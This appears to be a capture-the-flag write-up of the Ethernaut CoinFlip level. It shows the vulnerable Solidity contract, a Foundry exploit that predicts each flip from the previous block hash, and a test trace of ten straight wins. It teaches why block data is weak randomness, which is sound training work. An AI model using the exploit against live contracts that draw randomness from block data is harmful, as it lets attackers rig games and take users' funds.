To complete this challenge we need to predict the outcome of a coin flip game 10 times in a row. Here is the slightly altered version of the original smart contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR =
57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
Analysis Link to heading
The CoinFlip
contract has 3 state variables:
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
consecutiveWins
– Keeps track of a number of consecutive wins :)lastHash
– Contains an integer representation of the previous block’s hash.FACTOR
– Used in theflip
function to calculate coin side.
Let’s examine the flip
function:
uint256 blockValue = uint256(blockhash(block.number - 1));
- The
blockValue
local variable is an integer representation of the previous block’s hash. - This function uses
block.number
as a source of randomness (ha-ha! ๐). - According to
Solidity
docs,
blockhash
gets hash of the given block whenblocknumber
is one of the 256 most recent blocks. Hence, theblockValue
is the previous block’s hash casted touint256
. - The
FACTOR
is8000000000000000000000000000000000000000000000000000000000000000
in hexadecimal. TheblockValue
divided by this factor gives us 50% probability of getting heads or tails.
This check prevents us from doing two flips in the same block:
if (lastHash == blockValue) {
revert();
}
For the above check to work the lastHash
is saved on each flip
:
lastHash = blockValue;
The blockValue
is divided by FACTOR
to determine a coin side:
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
The if-else
condition increments or resets the consecutiveWins
:
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
Exploit Link to heading
We can have a contract that contains a function, which runs the
same logic to “guess” the flip
outcome:
function exploit() internal override {
vm.startPrank(player);
for (uint256 i = 0; i < 10; i++) {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
level.flip(side);
utils.mineBlocks(1);
}
vm.stopPrank();
}
Here we call the utils.mineBlocks(1)
. It calls the
vm.roll that
sets the current block number. It allows us to move the
block.number
forward by a given count
of blocks:
function mineBlocks(uint256 count) external {
uint256 target = block.number + count;
vm.roll(target);
}
The trace:
forge test --match-contract CoinFlipTest -vvvv
Running 1 test for src/test/CoinFlip.t.sol:CoinFlipTest
[PASS] testCoinFlip() (gas: 342799)
Traces:
[342799] CoinFlipTest::testCoinFlip()
โโ [212118] CoinFlipTest::create()
โ โโ [0] VM::prank(player: [...])
โ โ โโ โ ()
โ โโ [199770] Ethernaut::createLevelInstance(CoinFlipFactory: [...])
โ โ โโ [148207] CoinFlipFactory::createInstance(player: [...])
โ โ โ โโ [115659] โ new CoinFlip@"0x037fโฆdd8f"
โ โ โ โ โโ โ 456 bytes of code
โ โ โ โโ โ CoinFlip: [...]
โ โ โโ emit LevelInstanceCreatedLog(player: player: [...], instance: CoinFlip: [...])
โ โ โโ โ CoinFlip: [...]
โ โโ โ CoinFlip: [...]
โโ [295] CoinFlip::consecutiveWins() [staticcall]
โ โโ โ 0
โโ [0] VM::startPrank(player: [...])
โ โโ โ ()
โโ [42978] CoinFlip::flip(false)
โ โโ โ true
โโ [733] Utils::mineBlocks(1)
โ โโ [0] VM::roll(2)
โ โ โโ โ ()
โ โโ โ ()
โโ [1168] CoinFlip::flip(true)
โ โโ โ true
โโ [733] Utils::mineBlocks(1)
โ โโ [0] VM::roll(3)
โ โ โโ โ ()
โ โโ โ ()
โโ [1178] CoinFlip::flip(false)
โ โโ โ true
โโ [733] Utils::mineBlocks(1)
โ โโ [0] VM::roll(4)
โ โ โโ โ ()
โ โโ โ ()
โโ [1168] CoinFlip::flip(true)
โ โโ โ true
โโ [733] Utils::mineBlocks(1)
โ โโ [0] VM::roll(5)
โ โ โโ โ ()
โ โโ โ ()
โโ [1168] CoinFlip::flip(true)
โ โโ โ true
โโ [733] Utils::mineBlocks(1)
โ โโ [0] VM::roll(6)
โ โ โโ โ ()
โ โโ โ ()
โโ [1178] CoinFlip::flip(false)
โ โโ โ true
โโ [733] Utils::mineBlocks(1)
โ โโ [0] VM::roll(7)
โ โ โโ โ ()
โ โโ โ ()
โโ [1168] CoinFlip::flip(true)
โ โโ โ true
โโ [733] Utils::mineBlocks(1)
โ โโ [0] VM::roll(8)
โ โ โโ โ ()
โ โโ โ ()
โโ [1168] CoinFlip::flip(true)
โ โโ โ true
โโ [733] Utils::mineBlocks(1)
โ โโ [0] VM::roll(9)
โ โ โโ โ ()
โ โโ โ ()
โโ [1168] CoinFlip::flip(true)
โ โโ โ true
โโ [733] Utils::mineBlocks(1)
โ โโ [0] VM::roll(10)
โ โ โโ โ ()
โ โโ โ ()
โโ [1178] CoinFlip::flip(false)
โ โโ โ true
โโ [733] Utils::mineBlocks(1)
โ โโ [0] VM::roll(11)
โ โ โโ โ ()
โ โโ โ ()
โโ [0] VM::stopPrank()
โ โโ โ ()
โโ [0] VM::startPrank(player: [...])
โ โโ โ ()
โโ [4230] Ethernaut::submitLevelInstance(CoinFlip: [...])
โ โโ [1183] CoinFlipFactory::validateInstance(CoinFlip: [...], player: [...])
โ โ โโ [295] CoinFlip::consecutiveWins() [staticcall]
โ โ โ โโ โ 10
โ โ โโ โ true
โ โโ emit LevelCompletedLog(player: player: [...], level: CoinFlipFactory: [...])
โ โโ โ true
โโ [0] VM::stopPrank()
โ โโ โ ()
โโ โ ()
Key takeaways Link to heading
- Blockchains such as
Ethereum
are deterministic Turing machines. - The
block.number
,blockhash
andblock.timestamp
are not reliable sources of randomness. - Good contracts use oracles for random numbers ๐
References Link to heading
- Randomness in Ethereum
- Source of Randomness from Solidity by Example.
- Predicting Random Numbers in Ethereum Smart Contracts.
- How to Get a Random Number using Chainlink VRFs.
You can find the code and solution for this level here. Now, let’s move on to Ethernaut, #5 Telephone!